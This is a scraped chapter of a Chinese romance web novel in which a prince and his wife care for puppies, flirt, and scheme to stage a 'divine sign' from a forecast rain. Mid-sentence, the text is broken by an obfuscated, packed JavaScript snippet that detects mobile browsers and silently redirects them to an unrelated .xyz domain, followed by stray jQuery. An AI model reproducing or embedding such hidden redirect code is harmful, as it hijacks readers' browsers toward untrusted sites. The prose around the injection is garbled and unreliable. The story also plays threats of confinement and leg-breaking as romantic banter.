北风吹过,片片雪花从树梢滑落,仿佛又下了一场雪。
这场雪不再凶猛,而是带着那若有若无的凉意,似乎在诉说属于雪花的新的故事。
想着小狗现在还不能吃骨头,两人遇到一户买羊奶的牧民,买了些羊奶回去。
等他们回到客栈时,小狗已经被陈午安置在两人的房间。房间中有炭火,热乎乎的,几只小狗挤在一起睡得正香。
司言茉努力忍住想要去逗小狗的手,蹲在一旁,看着这群毛茸茸的小家伙。
某只大狗很快就不乐意了,也挤过去,用头蹭了蹭她的肩,“要不你摸摸我?”
司言茉被他逗笑,配合的伸出手去摸摸他的头发,“嗯,好乖。”
“还可以更乖。”他将人一把抱起,鼻尖蹭蹭她的鼻尖,“阿茉,要不要感受一下?”
“我看……不是乖的。”司言茉识破男人的诡计,却没有将他推开,反倒是轻咬了一下他的鼻尖,“是坏的。”
“那怎么办啊?大狗都是坏的。”他故作苦恼地噤了噤鼻子。
司言茉也不遑多让,“那就不要大狗了,只要小狗。”
“那可不行!”他双臂收紧,抱着她坐到床上,让她坐在自己腿上,“大狗还能保护你呢。”
“我看最危险的就是大狗。”
“那你多教一教。”大手轻轻掐了一下她腰间的软肉,“狗嘛,教一教就会了。”
“那你想让我怎么教?”司言茉配合的圈住他的脖颈,指尖悄悄划过他的背,惹得他颤栗。
他抬起手,捏了捏她的小脸,“嗯,我看没等你把大狗教明白,你就先学坏了。”
“我看你比谁都想让我学坏。”司言茉挑眉。
“我可不想。”事到如今,某人却装起了正经,“万一你学坏了,去找别的狗怎么办?”
“狗狗就是可以多养几只的吧?”
她佯装不懂,气得周言卿把头埋在她的颈窝处,狠狠咬了一口。
好吧,说是狠狠,其实根本没用力。
“你难不成还想三夫四妾?”
“也不是不行啊,兰屿女人就可以像男人一样吧?我之后可以去那里看看。”
“你!”周言卿面色一沉,攥紧她的手腕,他果然说不过这个小疯子。
“那你就去找啊!”他嘴硬道,眼角却泛起湿意,“我看有哪个男人会有我待你好!”
瞧见他这副样子,司言茉也有些舍不得,赶紧揉了揉他的脸,“小可怜鬼,我不找啦,不找啦!”
周言卿顺势抓住她的手,在她掌心咬了一口,小声嘟囔,“就算你敢找,也没有人敢来。”
谁敢觊觎他的人,那就把他们都杀了,扔到乱葬岗喂狗。
司言茉捕捉到他眼中的狠恶,知道这人又在想些吓人的东西了,主动凑近他,在他脸颊处落下一吻,“好啦,养那么多狗,家里会闹腾的,我要一只大狗带着我这些小狗就好了。”
“这还差不多!”
某只大狗终于心满意足地摇起尾巴,用自己的脸蹭着她的脸。
周遭的气氛也随着两人的亲密变得暧昧。
周言卿的眸光微闪,视线从她那含情的双眼中下移,最终定格在她温软的唇瓣上。
“阿茉。”
他喉结滚动,嗓音沙哑,叫司言茉的心跳漏了一拍。
她明知答案,却问:“怎么了?”
没有回复,只有男人逐渐放大的脸。
就在两人的唇瓣即将相贴之时,笼子里的一直小白狗醒了,迷迷糊糊叫了一声。
一个叫不要紧,它把其他的都吵醒了,一个个都开始叫起来,简直就像狼群回应狼王的吠叫一般,此起彼伏。
周言卿被它们吵的不行,努力想装作什么都没发生的样子继续这个吻。
小家伙们却根本不给他机会,一个个叫得更起劲了。
他咬牙,“陈午怎么想的,把他们放到房间里来?”
司言茉抿唇偷笑,轻轻将他推开,“外面多冷啊,你总不忍心把他们冻死吧?”
她站起身,去拿两人买回来的羊奶,“应该是饿了,喂点吃的就好了。”
“我也饿了。”某只大狗委屈巴巴的从背后抱住她。
就差一点,又是就差一点!
他差点就能和阿茉亲亲了!
司言茉回首摸摸他的头,装作不懂,“那一会儿我们去吃饭。”
刚说完,发现这羊奶没处倒,又道:“帮我拿个碗。”
周言卿是又气又没有办法,只能乖乖照做。
两人配合着给小狗倒了些羊奶之后,小狗也对两人奶声奶气的叫着,好像是在感谢他们。
他却根本不领情,冲小狗呲牙。
这一幕被司言茉瞥见,觉着这人幼稚,却也带着几分可爱。
她装作漫不经心的握住他的手,“哦,我们家大狗吃醋了?”
周言卿眉梢染上窃喜,将她的手包裹住,“是啊,吃醋了,要哄。”
司言茉牵起他的手吻了一下,“那秦王殿下想让我怎么哄呢?”
“不如……”说着,周言卿再度将她圈到自己怀里,额头相抵,一切尽在不言之中。
司言茉没有拒绝,两人终于渐渐靠近,同时靠近的也有两颗相爱的心。
然而……
“殿下,王妃……”
上天似乎在有意阻挠周言卿想和心上人亲吻,陈午在外面敲门。
这一次周言卿终于忍不了了,站起身,打开门,咬牙切齿道:“你最好有事!”
被凶了的陈午一脸懵,余光瞥见脸红的司言茉时才反应过来,知道自己肯定死定了。
他颤颤巍巍道:“殿下赎罪,萨克那边来信说……情况不太好,邬昭还藏了一只亲兵,已经将邬岚拿下。现在邬克族的那帮大臣,都转而支持邬昭,萨诺那边恐怕撑得了一时,但想夺位还是难啊!”
闻言,周言卿的表情变得严肃起来。
此事其实在他意料之中,只是他没想到邬岚这么废物,这才过去多久就被拿下了。
司言茉也站起身走到两人身边,“邬克族定然会支持邬昭,他们可不想被萨瓦族报复,可越是如此,萨诺这边就越艰难。”
三人一时谁也想不到好的办法,空气陷入死寂。
这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526821|186333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时,小狗碗中的羊奶没有了,对着方才向它们“布施”的司言茉汪汪叫起来,讨要新一轮的食物。
这一幕却叫她眼前一亮,“神迹!”
周言卿和陈午一时都没听懂她的意思,眉头紧锁.
周言卿:“你在说什么?”
司言茉一边给小狗们又倒了一碗羊奶,一边和两人解释,“记得之前我们是怎么骗邬岚的吗?”
没等两人回答,她自己又道:“让他相信自己是天选之子。”
“而现在我们要做的就是——让所有人相信,萨诺就是天选之子。”她扬起眉,用不小心滴落在桌子上的一滴羊奶写下一个王字。
“可现在还未分出胜负,又不可能去帝古庙投珓。”周言卿还是觉着此事不好实施。
司言茉却笑了,“谁说一定要去帝古庙的?”
她走到窗边,看着不远处残阳如火,天空宛如披上了红纱。
“我们来看看这冻灾何时结束吧。”
——
入夜,一脸懵的陈午和周言卿看着司言茉坐在床边,连带着笼子里的小狗也一起看着她。
他们都不知道这女人要干什么,只能静静等待。
不一会儿,司言茉走过来,让陈午去帮她拿一些笔墨,在纸上写下大大小小的数字,看得两人更懵了。
不知过了多久,她终于放下笔,“三日后晚上会下些雨水,第二天艳阳高照,天降异彩,日后这雪就会下得少些,就是我们想要的神迹。”
周言卿看看她,又看看桌上写的乱七八糟的纸,皱眉不解:“你怎么知道?这在命格里也能看出来?”
“是命格加上占星。”司言茉得意地翘起二郎腿,晃来晃去,“我刚刚看了客栈老板的命格,知道一次小雨过后,萨克就会变得暖和些,虽说还会下雪,却要比之前好的多。我方才又看了天象,发现这雨就在三日后。苍天来助,何不用一用呢?”
看着女人嘴角扬起的弧度,周言卿愈发觉着自己当初求来的这门婚事不亏。
这女人又聪明又疯,和他简直是绝配。
他吩咐陈午叫人快马加鞭将这个消息传地给萨诺,而自己则在他走后一把将司言茉捞到自己怀里,让她坐在自己的腿上这,手托着她的腰。
“夫人这么聪明,做巫卜都屈才了。”
“又逗我!”司言茉嗔怪地拍了一下他的肩,“照你这么说,我真该答应三皇子了?”
“那可不行!”小狗皱起鼻子,手臂收的更紧,“你只能是我的。”
“那我要是跑了呢?”
“那就把你抓回来。”他凑到她耳边,轻咬她的耳垂,嗓音沙哑,“还把你关进笼子里,这次可不会放过你了。”
司言茉眯起眼,“又是那个笼子?秦王殿下一点儿心新意都没有。”
“你还嫌没新意?”他被这女人气到,佯装生气的轻哼,“那你觉得什么有新意?”
司言茉还真没客气,天马行空地罗列起来,“比如把我关到一个林子里,找不到路的那种;或者找一个小岛把我关起来,四周都是海,跑也跑不掉;再或者把我腿打折,让我彻底断了逃跑的念头……”